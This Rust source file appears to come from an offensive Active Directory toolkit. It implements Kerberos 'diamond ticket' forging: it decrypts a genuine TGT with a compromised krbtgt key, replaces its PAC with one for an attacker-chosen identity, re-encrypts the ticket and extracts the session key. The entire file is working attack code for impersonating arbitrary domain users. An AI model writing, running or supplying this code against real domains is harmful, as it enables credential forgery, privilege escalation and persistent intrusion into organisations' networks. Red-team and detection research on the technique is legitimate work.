use anyhow::{anyhow, Result};
use picky_asn1::wrapper::{
Asn1SequenceOf, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
ExplicitContextTag3, IntegerAsn1, OctetStringAsn1, Optional,
};
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::constants::types::NT_SRV_INST;
use picky_krb::crypto::{Cipher, CipherSuite};
use picky_krb::data_types::{
AuthorizationData, AuthorizationDataInner, EncTicketPart, EncryptedData, Ticket, TicketInner,
};
use crate::checksum;
use crate::forge::ForgedTicket;
use crate::pac::{assemble_pac, decrypt_ticket_pac_aes256, decrypt_ticket_pac_rc4, ForgeIdentity};
use crate::util::{krb_string, principal, ETYPE_AES256, ETYPE_RC4_HMAC};
const KEY_USAGE_TICKET: i32 = 2;
fn aes256() -> Box<dyn Cipher> {
CipherSuite::Aes256CtsHmacSha196.cipher()
}
pub fn forge_diamond_tgt(
real_ticket_cipher: &[u8],
krbtgt_key: &[u8],
new_identity: &ForgeIdentity,
realm: &str,
rc4: bool,
) -> Result<ForgedTicket> {
let (etp, _old_pac) = if rc4 {
decrypt_ticket_pac_rc4(real_ticket_cipher, krbtgt_key)?
} else {
decrypt_ticket_pac_aes256(real_ticket_cipher, krbtgt_key)?
};
let new_pac = assemble_pac(new_identity, krbtgt_key, krbtgt_key, rc4)?;
build_diamond_ticket(etp, new_pac, krbtgt_key, realm, rc4, new_identity)
}
pub fn build_diamond_ticket(
mut etp: EncTicketPart,
new_pac: Vec<u8>,
ticket_key: &[u8],
realm: &str,
rc4: bool,
new_identity: &ForgeIdentity,
) -> Result<ForgedTicket> {
let realm_up = realm.to_uppercase();
let etype = if rc4 { ETYPE_RC4_HMAC } else { ETYPE_AES256 };
let cname = principal(
picky_krb::constants::types::NT_PRINCIPAL,
&[new_identity.user.as_str()],
);
etp.crealm = ExplicitContextTag2::from(krb_string(&realm_up));
etp.cname = ExplicitContextTag3::from(cname.clone());
let win2k = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80])),
ad_data: ExplicitContextTag1::from(OctetStringAsn1(new_pac)),
};
let inner: AuthorizationData = Asn1SequenceOf::from(vec![win2k]);
let inner_der =
picky_asn1_der::to_vec(&inner).map_err(|e| anyhow!("encode new PAC AD: {e}"))?;
let if_rel = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x01])),
ad_data: ExplicitContextTag1::from(OctetStringAsn1(inner_der)),
};
let auth: AuthorizationData = Asn1SequenceOf::from(vec![if_rel]);
etp.authorization_data =
Optional::from(Some(picky_asn1::wrapper::ExplicitContextTag10::from(auth)));
let etp_app: ApplicationTag<EncTicketPart, 3> = ApplicationTag(etp);
let etp_der = picky_asn1_der::to_vec(&etp_app)
.map_err(|e| anyhow!("encode re-signed EncTicketPart: {e}"))?;
let enc = if rc4 {
checksum::rc4_encrypt(ticket_key, KEY_USAGE_TICKET, &etp_der, None)
} else {
aes256()
.encrypt(ticket_key, KEY_USAGE_TICKET, &etp_der)
.map_err(|e| anyhow!("encrypt EncTicketPart: {e}"))?
};
let ticket = Ticket::from(TicketInner {
tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
realm: ExplicitContextTag1::from(krb_string(&realm_up)),
sname: ExplicitContextTag2::from(principal(NT_SRV_INST, &["krbtgt", &realm_up])),
enc_part: ExplicitContextTag3::from(EncryptedData {
etype: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
kvno: Optional::from(None),
cipher: ExplicitContextTag2::from(OctetStringAsn1(enc)),
}),
});
let session_key = ticket_session_key_bytes(&ticket, ticket_key, rc4)?;
Ok(ForgedTicket::from_parts(
ticket,
session_key,
cname,
realm_up,
))
}
fn ticket_session_key_bytes(ticket: &Ticket, ticket_key: &[u8], rc4: bool) -> Result<Vec<u8>> {
let cipher: &[u8] = &ticket.0.enc_part.0.cipher.0 .0;
let plain = if rc4 {
checksum::rc4_decrypt(ticket_key, KEY_USAGE_TICKET, cipher)
.map_err(|e| anyhow!("re-decrypt for session-key extract (rc4): {e}"))?
} else {
aes256()
.decrypt(ticket_key, KEY_USAGE_TICKET, cipher)
.map_err(|e| anyhow!("re-decrypt for session-key extract (aes256): {e}"))?
};
let etp: EncTicketPart = picky_asn1_der::from_bytes::<ApplicationTag<EncTicketPart, 3>>(&plain)
.map_err(|e| anyhow!("re-decode EncTicketPart: {e}"))?
.0;
Ok(etp.key.0.key_value.0 .0)
}